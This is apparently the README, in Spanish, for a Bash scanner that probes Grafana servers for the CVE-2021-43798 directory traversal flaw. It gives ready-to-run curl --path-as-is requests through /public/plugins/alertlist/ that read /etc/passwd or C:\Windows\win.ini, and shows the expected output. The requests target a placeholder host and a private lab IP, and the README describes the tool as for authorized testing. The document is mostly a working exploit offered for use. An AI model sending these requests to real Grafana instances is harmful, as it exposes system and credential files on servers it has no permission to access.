Escáner basado en Bash que enumera los IDs de plugins de Grafana y prueba la vulnerabilidad de directory traversal CVE-2021-43798 intentando leer /etc/passwd o win.ini en instancias vulnerables.
Una pequeña herramienta basada en Bash para probar instancias de Grafana en busca de CVE-2021-43798, una vulnerabilidad de directory traversal que afecta a versiones vulnerables de Grafana.
La herramienta enumera IDs de plugins de Grafana y utiliza curl --path-as-is para probar si el directory traversal puede acceder a un archivo conocido.
Solo para pruebas de seguridad autorizadas y entornos de laboratorio.
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh: Prueba el acceso a C:\Windows\win.inigrafana-linux.sh: Prueba el acceso a /etc/passwdplugins.txtcurlVerifica que curl esté instalado:
curl --version
Haz que los scripts sean ejecutables:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798 es una vulnerabilidad de directory traversal en Grafana.
El endpoint vulnerable se basa en:
/public/plugins/<plugin-id>/
La vulnerabilidad puede permitir el traversal fuera del directorio de plugins previsto.
La parte importante al probar con curl es:
--path-as-is
Sin esta opción, el cliente puede normalizar la ruta antes de enviarla al servidor.
El escáner de Windows intenta recuperar:
C:\Windows\win.ini
La ruta se representa en la solicitud HTTP como:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Ejemplo:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
Puedes probar manualmente un plugin con:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Para el objetivo de laboratorio:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Una respuesta exitosa debería contener el contenido del archivo INI de Windows.
El escáner de Linux intenta recuperar:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Ejemplo genérico:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Para el objetivo de laboratorio:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Una respuesta exitosa en Linux debería contener entradas similares a:
root:x:0:0:root:/root:/bin/bash
Ambos escáneres utilizan los mismos argumentos básicos:
u, --url : URL base de Grafanaw, --wordlist : Wordlist de pluginsf, --file : Archivo a probarh, --help : Mostrar ayuda